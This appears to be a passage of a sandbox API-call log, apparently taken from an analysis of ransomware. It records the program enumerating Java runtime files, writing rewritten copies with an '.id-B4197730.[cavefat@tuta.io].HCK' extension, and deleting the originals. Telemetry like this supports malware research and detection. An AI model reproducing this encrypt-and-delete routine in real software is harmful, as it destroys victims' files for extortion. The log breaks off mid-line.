[0167.528] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0167.528] lstrlenW (lpString=".pdf") returned 4 [0167.528] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0167.528] lstrlenW (lpString=".xls") returned 4 [0167.528] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0167.528] lstrlenW (lpString=".xlsx") returned 5 [0167.528] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0167.528] lstrlenW (lpString=".ppt") returned 4 [0167.528] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0167.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0167.528] lstrlenW (lpString=".zip") returned 4 [0167.528] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0167.528] lstrlenW (lpString=".rar") returned 4 [0167.528] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0167.528] lstrlenW (lpString=".bz2") returned 4 [0167.528] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0167.528] lstrlenW (lpString=".7z") returned 3 [0167.528] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0167.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0167.528] lstrlenW (lpString=".dbf") returned 4 [0167.528] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0167.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0167.528] lstrlenW (lpString=".1cd") returned 4 [0167.528] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0167.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0167.528] lstrlenW (lpString=".jpg") returned 4 [0167.528] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0167.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0167.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0167.528] lstrlenW (lpString=".doc") returned 4 [0167.528] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0167.529] lstrlenW (lpString=".docx") returned 5 [0167.529] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0167.529] lstrlenW (lpString=".pdf") returned 4 [0167.529] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0167.529] lstrlenW (lpString=".xls") returned 4 [0167.529] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0167.529] lstrlenW (lpString=".xlsx") returned 5 [0167.529] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0167.529] lstrlenW (lpString=".ppt") returned 4 [0167.529] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0167.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0167.529] lstrlenW (lpString=".zip") returned 4 [0167.529] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0167.529] lstrlenW (lpString=".rar") returned 4 [0167.529] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0167.529] lstrlenW (lpString=".bz2") returned 4 [0167.529] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0167.529] lstrlenW (lpString=".7z") returned 3 [0167.529] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0167.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0167.529] lstrlenW (lpString=".dbf") returned 4 [0167.529] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0167.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0167.529] lstrlenW (lpString=".1cd") returned 4 [0167.529] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0167.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0167.529] lstrlenW (lpString=".jpg") returned 4 [0167.529] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0167.529] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0167.529] lstrlenW (lpString="jsound.dll") returned 10 [0167.529] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0167.546] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=35392) returned 1 [0167.546] CloseHandle (hObject=0x360) returned 1 [0167.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20 [0167.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.560] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.571] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.571] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.571] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.577] GetLastError () returned 0x0 [0167.578] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x8a40, lpOverlapped=0x0) returned 1 [0167.580] WriteFile (in: hFile=0x378, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x8a50, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x8a50, lpOverlapped=0x0) returned 1 [0167.581] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.581] WriteFile (in: hFile=0x378, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0167.581] SetEndOfFile (hFile=0x378) returned 1 [0167.586] CloseHandle (hObject=0x378) returned 1 [0167.588] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.588] SetEndOfFile (hFile=0x39c) returned 1 [0167.594] CloseHandle (hObject=0x39c) returned 1 [0167.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0167.600] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 1 [0167.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0167.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0167.607] lstrlenW (lpString=".doc") returned 4 [0167.607] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.607] lstrlenW (lpString=".docx") returned 5 [0167.607] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0167.607] lstrlenW (lpString=".pdf") returned 4 [0167.607] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.607] lstrlenW (lpString=".xls") returned 4 [0167.607] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.607] lstrlenW (lpString=".xlsx") returned 5 [0167.607] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0167.607] lstrlenW (lpString=".ppt") returned 4 [0167.607] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0167.607] lstrlenW (lpString=".zip") returned 4 [0167.607] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.607] lstrlenW (lpString=".rar") returned 4 [0167.607] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.607] lstrlenW (lpString=".bz2") returned 4 [0167.607] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.607] lstrlenW (lpString=".7z") returned 3 [0167.607] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0167.607] lstrlenW (lpString=".dbf") returned 4 [0167.607] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0167.607] lstrlenW (lpString=".1cd") returned 4 [0167.607] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0167.607] lstrlenW (lpString=".jpg") returned 4 [0167.607] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0167.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0167.608] lstrlenW (lpString=".doc") returned 4 [0167.608] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.608] lstrlenW (lpString=".docx") returned 5 [0167.608] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0167.608] lstrlenW (lpString=".pdf") returned 4 [0167.608] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.608] lstrlenW (lpString=".xls") returned 4 [0167.608] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.608] lstrlenW (lpString=".xlsx") returned 5 [0167.608] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0167.608] lstrlenW (lpString=".ppt") returned 4 [0167.608] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0167.608] lstrlenW (lpString=".zip") returned 4 [0167.608] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.608] lstrlenW (lpString=".rar") returned 4 [0167.608] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.608] lstrlenW (lpString=".bz2") returned 4 [0167.608] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.608] lstrlenW (lpString=".7z") returned 3 [0167.608] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0167.608] lstrlenW (lpString=".dbf") returned 4 [0167.608] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0167.608] lstrlenW (lpString=".1cd") returned 4 [0167.608] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0167.608] lstrlenW (lpString=".jpg") returned 4 [0167.608] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.608] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0167.608] lstrlenW (lpString="kinit.exe") returned 9 [0167.608] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0167.615] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=16448) returned 1 [0167.615] CloseHandle (hObject=0x2f4) returned 1 [0167.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20 [0167.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.635] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.644] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.644] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.644] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0167.653] GetLastError () returned 0x0 [0167.653] ReadFile (in: hFile=0x330, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x4040, lpOverlapped=0x0) returned 1 [0167.656] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x4050, lpOverlapped=0x0) returned 1 [0167.657] ReadFile (in: hFile=0x330, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.657] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xe6, lpOverlapped=0x0) returned 1 [0167.657] SetEndOfFile (hFile=0x390) returned 1 [0167.660] CloseHandle (hObject=0x390) returned 1 [0167.661] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.661] SetEndOfFile (hFile=0x330) returned 1 [0167.666] CloseHandle (hObject=0x330) returned 1 [0167.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0167.668] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 1 [0177.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0177.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0177.299] lstrlenW (lpString=".doc") returned 4 [0177.299] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0177.299] lstrlenW (lpString=".docx") returned 5 [0177.299] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0177.299] lstrlenW (lpString=".pdf") returned 4 [0177.299] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0177.299] lstrlenW (lpString=".xls") returned 4 [0177.299] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0177.299] lstrlenW (lpString=".xlsx") returned 5 [0177.299] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0177.299] lstrlenW (lpString=".ppt") returned 4 [0177.299] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0177.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0177.300] lstrlenW (lpString=".zip") returned 4 [0177.300] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0177.300] lstrlenW (lpString=".rar") returned 4 [0177.300] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0177.300] lstrlenW (lpString=".bz2") returned 4 [0177.300] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0177.300] lstrlenW (lpString=".7z") returned 3 [0177.300] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0177.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0177.300] lstrlenW (lpString=".dbf") returned 4 [0177.300] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0177.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0177.300] lstrlenW (lpString=".1cd") returned 4 [0177.300] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0177.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0177.300] lstrlenW (lpString=".jpg") returned 4 [0177.300] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0177.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0177.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0177.300] lstrlenW (lpString=".doc") returned 4 [0177.300] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0177.300] lstrlenW (lpString=".docx") returned 5 [0177.300] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0177.300] lstrlenW (lpString=".pdf") returned 4 [0177.300] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0177.300] lstrlenW (lpString=".xls") returned 4 [0177.300] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0177.300] lstrlenW (lpString=".xlsx") returned 5 [0177.300] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0177.300] lstrlenW (lpString=".ppt") returned 4 [0177.300] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0177.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0177.300] lstrlenW (lpString=".zip") returned 4 [0177.300] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0177.300] lstrlenW (lpString=".rar") returned 4 [0177.300] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0177.300] lstrlenW (lpString=".bz2") returned 4 [0177.300] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0177.300] lstrlenW (lpString=".7z") returned 3 [0177.300] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0177.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0177.300] lstrlenW (lpString=".dbf") returned 4 [0177.300] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0177.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0177.300] lstrlenW (lpString=".1cd") returned 4 [0177.300] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0177.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0177.300] lstrlenW (lpString=".jpg") returned 4 [0177.300] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0177.300] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0177.301] lstrlenW (lpString="management.dll") returned 14 [0177.301] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.306] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=36928) returned 1 [0177.306] CloseHandle (hObject=0x370) returned 1 [0177.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20 [0177.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.306] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.307] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.307] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.307] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0177.309] GetLastError () returned 0x0 [0177.309] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x9040, lpOverlapped=0x0) returned 1 [0177.311] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x9050, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x9050, lpOverlapped=0x0) returned 1 [0177.312] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.313] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf0, lpOverlapped=0x0) returned 1 [0177.313] SetEndOfFile (hFile=0x2f4) returned 1 [0177.320] CloseHandle (hObject=0x2f4) returned 1 [0177.320] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.320] SetEndOfFile (hFile=0x2e8) returned 1 [0177.322] CloseHandle (hObject=0x2e8) returned 1 [0177.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0177.323] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 1 [0177.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.324] lstrlenW (lpString=".doc") returned 4 [0177.324] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.324] lstrlenW (lpString=".docx") returned 5 [0177.324] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0177.324] lstrlenW (lpString=".pdf") returned 4 [0177.324] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.324] lstrlenW (lpString=".xls") returned 4 [0177.324] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.324] lstrlenW (lpString=".xlsx") returned 5 [0177.324] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0177.324] lstrlenW (lpString=".ppt") returned 4 [0177.324] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.325] lstrlenW (lpString=".zip") returned 4 [0177.325] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.325] lstrlenW (lpString=".rar") returned 4 [0177.325] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.325] lstrlenW (lpString=".bz2") returned 4 [0177.325] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.325] lstrlenW (lpString=".7z") returned 3 [0177.325] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.325] lstrlenW (lpString=".dbf") returned 4 [0177.325] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.325] lstrlenW (lpString=".1cd") returned 4 [0177.325] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.325] lstrlenW (lpString=".jpg") returned 4 [0177.325] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.325] lstrlenW (lpString="C:\\Program 